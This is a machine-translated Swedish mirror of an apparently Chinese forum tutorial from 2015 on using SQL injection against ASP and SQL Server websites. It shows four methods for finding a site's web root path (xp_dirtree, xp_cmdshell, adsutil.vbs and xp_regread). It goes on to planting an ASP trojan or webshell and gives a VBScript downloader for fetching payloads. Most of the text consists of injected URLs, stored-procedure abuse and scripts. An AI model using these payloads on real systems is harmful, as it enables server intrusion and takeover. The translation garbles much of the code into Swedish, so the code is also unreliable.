Denna artikel är en spegelartikel om maskinöversättning, klicka här för att hoppa till originalartikeln.

Utsikt: 11906|Svar: 0

[Säkerhetshandledning] SQL-injektion för att erhålla hela webbplatsens sökväg

[Kopiera länk]
Publicerad på 2015-02-07 22:19:16 | | |
SQL-injektion för att erhålla hela webbplatsens sökväg

Om webbplatsen bara har 80 portar kommer följande metoder att vara mer användbara
Nästan alla metoder som används är inte vad jag upptäckte, och artikeln innehåller alltid viss personlig erfarenhet och färdigheter vid injektion
Det finns fyra metoder (nu kända)

Första metoden:

Detta är <怪异的SQL注入>metoden som introducerades i < >
Med hjälp av SQLservers xp_dirtree ska vi först prata om metoden och sedan diskutera dess för- och nackdelar (vissa tillägg görs baserat på originaltexten)

Skapa tabeller

Uttalande:http://www.xxxxx.com/down/list.asp?id=1;create  tabell dirs(Paths Varchar(1000))--
Tillbaka: Normal information! Det betyder att tabellen är framgångsrikt skapad! Fortsätt!
(Den som byggdes är lite större än originalet, eftersom jag har stött på en fil med ett långt namn och raderat id:t eftersom det är värdelöst)

Uttalande:http://www.xxxxx.com/down/list.asp?id=1;insert  DIRs exec master.dbo.xp_dirtree 'C:\' --
Returer: Normal information. Det betyder att alla kataloger som skrivs till C-enheten är framgångsrika! Coolt! Nästa steg är att skaffa mätaren! Bryt mot den och kom ut. (Det verkar som att det bara finns ett sätt att göra detta)

Uttalande:http://www.xxxxx.com/down/list.asp?id=1  och 0<> (välj topp 1-vägar från dirs)-
Returnerar: Microsoft OLE DB Provider for SQL Server-felet 80040e07
Syntaxfel uppstår när varchar-värdet '@Inetpub' konverteras till en kolumn med datatypen int.

Sedan visas katalognamnen i tabellen i tur och ordning!

Uttalande:http:// http://www.xxxxx.com/down/list.asp?id=1  och 0<>(välj topp 1-vägar från
Di'er där stigar inte är i( '@Inetpub'))--
Returnerar: Microsoft OLE DB Provider for SQL Server-felet 80040e07
Syntaxfel uppstod vid konvertering av varchar-värdet 'test' till en kolumn med datatyp int.

Sedan visas katalognamnen i tabellen i tur och ordning!
Okej, låt oss fortsätta

Uttalande:http:// http://www.xxxxx.com/down/list.asp?id=1  och 0<>(välj topp 1-vägar från
Dirs där vägar inte är in( '@Inetpub','test'))--
Returnerar: Microsoft OLE DB Provider for SQL Server-felet 80040e07
Syntaxfel uppstår när varchar-värdet 'haha' konverteras till en kolumn med datatypen int.

Sedan visas katalognamnen i tabellen i tur och ordning!

Okej, du borde veta hur man gör, haha, lägg bara till namnet på tabellen du får inom parentesen, skriv så många du vill,

Ett litet trick:

Ibland märker du att när ingången är liknande

http://www.xxxxx.com/down/list.asp?id=1  och 0<> (välj topp 1-vägar från dirs)-

Istället för att visa ett fel visas webbsidan normalt
Yr, var inte nervös
Titta på 0<> (välj de översta 1-vägarna från dirs) för att visa att returen är ett tal,
Haha, testa och se hur mycket det kostar

100> (välj topp 1 vägar från dirs)

Tillbaka till det normala
Haha, du kan snabbt gissa med den här metoden om det är mer än eller mindre
Okej, låt oss fortsätta
Till exempel när den dyker upp

59=(välj topp 1 vägar från dirs)

Återgå till det normala,
Okej, namnet är 59
Ange enligt följande

http:// http://www.xxxxx.com/down/list.asp?id=1  och 0<>(välj topp 1-vägar från
Di's där stigar inte är i('59'))--

Kom ihåg att sätta citattecken
Följande metod är densamma som den ursprungliga
Det finns också ett problem
Ibland när jag matar in 59 med metoden ovan, upptäcker jag att nästa mapp fortfarande är 59
Vad är det som händer?
Hehe, jag vet inte om du har märkt att 059 och 59 är samma?
Det är därför haha,

http:// http://www.xxxxx.com/down/list.asp?id=1  och 0<>(välj topp 1-vägar från
Di'er där stigar inte är in( '059'))--

Jag upptäckte att nästa mappnamn visas, okej

Analys av fördelar och nackdelar:

Fördelen är att alla sqlserver-användare kan använda det, eftersom xp_dirtree tillämpar behörigheten PUBLIC,
Nackdelen är att den visar namnen på alla mappar i katalogen, och arrangemanget verkar inte vara i någon ordning, kort sagt är det smärtsamt att hitta den mapp du vill ha i tusentals eller tiotusentals mappar.
Och du vet att det inte är garanterat att ha den mappen i rotkatalogen, vilket är väldigt smärtsamt, ofta beror det på tur och uthållighet.
Jag önskar dig lycka till

Metod 2:

Använd xp_cmdshell

Haha, alla måste känna till det här, låt mig säga det kort

Skapa tabeller

Uttalande:http://www.xxxxx.com/down/list.asp?id=1;create  tabell dirs(Paths Varchar(1000))--
Tillbaka: Normal information! Det betyder att tabellen är framgångsrikt skapad! Fortsätt!
(Den som byggdes är lite större än originalet, eftersom jag har stött på en fil med ett långt namn och raderat det eftersom det är värdelöst.)

Uttalande:http://www.xxxxx.com/down/list.asp?id=1;insertdirs exec master.dbo.xp_cmdshell 'dir c:\ /B/D' --
Returer: Normal information. Det betyder att alla kataloger som skrivs till C-enheten är framgångsrika! dir c:\ /B/D används här, haha, om du inte vet vad /B/D gör, försök se vad det gör

Uttalande:http://www.xxxxx.com/down/list.asp?id=1  och 0<> (välj topp 1-vägar från dirs)-
Returnerar: Microsoft OLE DB Provider for SQL Server-felet 80040e07
Syntaxfel uppstår när varchar-värdet '@Inetpub' konverteras till en kolumn med datatypen int.

Sedan visas katalognamnen i tabellen i tur och ordning!

Uttalande:http:// http://www.xxxxx.com/down/list.asp?id=1  och 0<>(välj topp 1-vägar från
Di'er där stigar inte är i( '@Inetpub'))--
Returnerar: Microsoft OLE DB Provider for SQL Server-felet 80040e07
Syntaxfel uppstod vid konvertering av varchar-värdet 'test' till en kolumn med datatyp int.

Sedan visas katalognamnen i tabellen i tur och ordning!

Metoden är densamma som ovan, så jag tänker inte prata om det

Ibland kan vi också göra något med följande två tillägg

1) Vi kan utnyttja xp_availablemedia för att få alla aktuella diskar och spara dem i dirs-tabellen:

5 ; infoga dirs exec master.dbo.xp_availablemedia; --

Vi kan få listan över enheter och relaterad information genom att söka i innehållet i temp

(2) Vi kan använda xp_subdirs för att få listan över underkataloger och lagra dem i tabellen:

5 ; infoga i dirs exec master.dbo.xp_subdirs 'c:\' ; --

Analys av fördelar och nackdelar:

Självklart kommer detta inte att xp_dirtree situationen där alla kataloger är samlade ihop, endast katalogen på första nivån visas, vilket är mycket lättare att hitta.
Nackdelarna är också uppenbara, endast SA har denna behörighet, och det är också möjligt att administratören tog bort detta tillägg (det är ju trots allt för kraftfullt).

Metod 3:

Detta tillvägagångssätt är bra
Följande är originaltexten
Tänkte använda adsutil.vbs-programmet, vilket jag körde

a'; Exec Master.. xp_cmdshell 'cmd /c cscript c:\inetpub\adminscrips\adsutil.vbs enum w3svc/1/root>a.txt'; --

Är den inte lång? Genom den kan vi skapa den första virtuella webbplatsen i IIS (inklusive den faktiska katalogen där den finns, förstås)
Importera till a.txt
Standarden för den faktiska platsen för a.txt är förstås c:\winnt\system32, vilket faktiskt inte är ett problem, men när man möter en administratör som sätter adsutil.vbs
Radera eller lägg den någon annanstans
Vi kan inte göra något åt det (du kan inte skriva en med echo-kommandot själv)

Steg 2: Använd echo-kommandot för att skriva följande kod i c:\, vilket inte är mycket

..... xp_cmdshell 'echo set fso1=createobject("scripting.filesystemobject">c:\read.vbs'; --
..... xp_cmdshell 'echo Set WshShell = Wscript.createObject("Wscript.Shell">>c:\read.vbs'
; --
.....
-------------------read.vbs---------------------------------
set fso1=createobject("scripting.filesystemobject"
Sätt WshShell = Wscript.createObject("Wscript.Shell"
spa=WshShell.Environment("process"("windir")
set fil =fso1.opentextfile(spa & "\system32\aa.txt"
gör medan inte fil.atendofstream
nr=fil.readline
om left(nr,4)="Path" så
pa=Mid(nr,instr(nr,"" 3,len(nr)-instr(nr,""-3)
Exit Do
slut om
Loop
set fil1 =FSO1.OpenTextFile(PA &"\dd.asp",2,True)
fil1.writeline ""
---------------Klipp här-------------------------------------

Steg 3: Självklart är det att köra read.vbs, så att vi kan läsa innehållet i aa.txt och hitta webbplatsens faktiska väg
Skriv sedan en fil som heter dd.asp i rotkatalogen på webbplatsen, så vet du om du kan försöka framgångsrikt
utförahttp://x.x.x.x/dd.asp
Returer: \xxx
Haha, det är ett bra sätt,
Dock verkar originaltexten ha vissa problem
Det är det

set fil =fso1.opentextfile(spa %2B "\system32\aa.txt"
set fil1 =fso1.opentextfile(pa%2B"\dd.asp",2,true)

Fel uppstår när två meningar lämnas in
Så vi kom på plustecknet, som har samma funktion som &
Och vad ska man skriva om dd.asp? Skriv till pappa, haha
Haha, jag ändrade det

-------------------read.vbs---------------------------------
set fso1=createobject("scripting.filesystemobject"
Sätt WshShell = Wscript.createObject("Wscript.Shell"
spa=WshShell.Environment("process"("windir")
set fil =fso1.opentextfile(spa "\system32\aa.txt"
gör medan inte fil.atendofstream
nr=fil.readline
om left(nr,4)="Path" så
pa=Mid(nr,instr(nr,"" 3,len(nr)-instr(nr,""-3)
Exit Do
slut om
Loop
set fil1 =FSO1.OpenTextFile(PA "\dd.asp",2,true)
fil1.writeline pa
---------------Klipp här--------------------------------------
Eftersom tidsnumret omvandlas till ett mellanrum när du skickar in i en webbläsare, bör du också ställa in
Det blir 2 % miljard, okej, det borde vara okej, enligt följande.
-------------------read.vbs---------------------------------
set fso1=createobject("scripting.filesystemobject"
Sätt WshShell = Wscript.createObject("Wscript.Shell"
spa=WshShell.Environment("process"("windir")
set fil =fso1.opentextfile(spa %2B "\system32\aa.txt"
gör medan inte fil.atendofstream
nr=fil.readline
om left(nr,4)="Path" så
pa=Mid(nr,instr(nr,"" 3,len(nr)-instr(nr,""-3)
Exit Do
slut om
Loop
set fil1 =fso1.opentextfile(pa %2B "\dd.asp",2,true)
fil1.writeline pa
---------------Klipp här--------------------------------------

Om vi finner att 1 inte finns kan vi bli 2, 3, 4...........

a'; Exec Master.. xp_cmdshell 'cmd /c cscript c:\inetpub\adminscrips\adsutil.vbs enum w3svc/2/root>a.txt'; --

Men denna metod kan bara användas under Windows 2000, eftersom adresserna till nyskapade webbplatser under 2003 inte är ordnade enligt 1234, det verkar vara slumpmässigt genererat, och jag har jämfört flera under 2003
adress, ingen regelbundenhet hittades.

Analys av fördelar och nackdelar:

Samma sak xp_cmdshell Alla användare kan inte använda det! Ett annat problem är att adsutil-filen inte nödvändigtvis existerar, eller inte nödvändigtvis är i den sökvägen, även om du kan använda den om du vill
Echo skriver en (haha, gammal och gammal), och en annan fråga är, vad händer om det finns många sajter på värden? Jag har träffat en värd med nio sajter, och bara den åttonde är användbar
Ja, svagt, det är svårt för någon att ha tålamod att hålla ut så mycket, kanske har det kollapsat för länge sedan. Dessutom kan den inte användas 2003!
Men ärligt talat är denna metod verkligen en bra metod

Metod 4:

Denna metod är att läsa vägen från registret genom xp_regread osv
Följande rekommenderas för att få webbsidans sökväg (läs registret genom lagrade procedurer):
Använd den inbyggda lagrade proceduren xp_regread (läs registernyckel, behörighet offentlig):

Uttalande: http://www.xxx.com/list.asp?classid=1; skapa TABELL newtable(id int IDENTITY(1,1),paths varchar(500)) Deklarera@test
Varchar(20) exekutiv mästare.. xp_regread @rootkey= HKEY_LOCAL_MACHINE , @key=
SYSTEM\CurrentControlSet\Services\W3SVC\Parameters\Virtual Roots\ , @value_name= / , values=@test OUTPUT infoga i vägar
(väg) värden(@test)

IIS standardsökväg i registret HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Services\W3SVC\Parameters\Virtual Roots\
Använd burstfältet för att läsa ut databasens värde:

Sats: http://www.xxx.com/list.asp?classid=1 och 0<>(välj översta 1-vägar från newtable)--returnera: Microsoft OLE DB Provider för
ODBC Drivers error 80040e07 [Microsoft][ODBC SQL Server Driver][SQL Server] konverterar varchar-värdet E:\www,,201 till en datatyp av int
kolumn.

Detta innebär att webbsidans katalog finns i E:\www, och sedan kan du också använda FSO för att skriva direkt till ASP-trojanen
Vad händer om du inte kan få tag på en webbkatalog? Du måste gissa om webbplatsen använder standardwebben eller domännamnet som WEBBEN.

deklarera @o int exec sp_oacreate wscript.shell, @o out exec sp_oamethod @o, kör , NULL,' cscript.exe c:
\inetpub\wwwroot\mkwebdir.vbs -w "default website" -v "e","e:\"'

Skapa en virtuell katalog E under standardwebbplatsen, med hänvisning till E: under disk.

deklarera @o int exec sp_oacreate wscript.shell, @o out exec sp_oamethod @o, kör , NULL,' cscript.exe c:
\inetpub\wwwroot\chaccess.vbs -a w3svc/1/ROOT/e browse'

Det är bra att lägga till surfattribut i den virtuella katalogen, t.ex. Öppna en virtuell tjänst för dig själv. När jag tänker på de där webbsideskatalogerna är mitt huvud nästan krossat. Nu öppnade jag ögonen. Det är WEBSHELL:n som använder MS
SQL är slutet på vårt arbete, och nästa jobb borde vara ditt.
Haha, metoden är bra, läs igenom registreringsformuläret, smidigt och snabbt!

Analys av fördelar och nackdelar:

Fördelen är förstås att det är bekvämt och snabbt. Nackdelen är att du bara kan se vägen för standard-IIS-sidan, och om den inte längre är standardplatsen finns det inget du kan göra (jag spårade den med regsnape), om den är under 2003
Det vill säga, inte ens standardvägen för webbplatsen visas! I smärta

Förresten, det finns faktiskt andra sätt att fortsätta intrånget än att hitta webbplatsens bana, som att ladda upp studstrojanen via tftp eller skriva en iget.vbs för att ladda ner den dongdong du vill ha
iget.vbs-koden är som följer:

---------Börja----------
Set xPost = createObject("Microsoft.XMLHTTP"
xPost.Open "GET",LCase(WScript.Arguments(0)),0
xPost.Send()
Set sGet = createObject("ADODB. Stream"
sGet.Mode = 3
sGet.Type = 1
sGet.Open()
sGet.Write(xPost.responseBody)
sGet.SaveToFile LCase(WScript.Arguments(1)),2
----------slut-----------

Tillägg till denna artikel:

Nyligen upptäckte jag att min förståelse av ordförande Maos instruktioner inte var tillräckligt djup, och jag vill lägga till det här
Faktum är att ovanstående metoder inte behöver jämföras alls xp_dirtree de är de bästa, så länge denna metod räcker
Det är bara för att jag var för ..............
Idag ska jag gräva fram hemligheten bakom xp_dirtree igen
Okej, låt oss exec master: xp_dirtree'd:/test'
Låt oss säga att vi har två mappar i test, test1 och test2, och test3 i test1
Resultaten visar

underkatalogdjup
Test1 1
test3 2
Test2 1

Haha, jag upptäckte att det inte finns något djup i katalogens serie
Okej, vet vad du ska göra

http://www.xxxxx.com/down/list.asp?id=1;create  Tabelldirs (Paths Varchar(1000), ID int)--
http://www.xxxxx.com/down/list.asp?id=1;insert  Dirs exec master.dbo.xp_dirtree 'D:\' --
http://www.xxxxx.com/down/list.asp?id=1  och 0<>(välj topp 1-vägar från dirs där id=1)-

Så länge id=1 läggs till är det förstanivåkatalogen.





Föregående:Intrusion Penetration: Tillämpning av HTTP-headers
Nästa:Alipay-överföringsskärmdumpar genereras med ett klick
Friskrivning:
All programvara, programmeringsmaterial eller artiklar som publiceras av Code Farmer Network är endast för lärande- och forskningsändamål; Ovanstående innehåll får inte användas för kommersiella eller olagliga ändamål, annars kommer användarna att bära alla konsekvenser. Informationen på denna sida kommer från internet, och upphovsrättstvister har inget med denna sida att göra. Du måste helt radera ovanstående innehåll från din dator inom 24 timmar efter nedladdning. Om du gillar programmet, vänligen stöd äkta programvara, köp registrering och få bättre äkta tjänster. Om det finns något intrång, vänligen kontakta oss via e-post.

Mail To:help@itsvse.com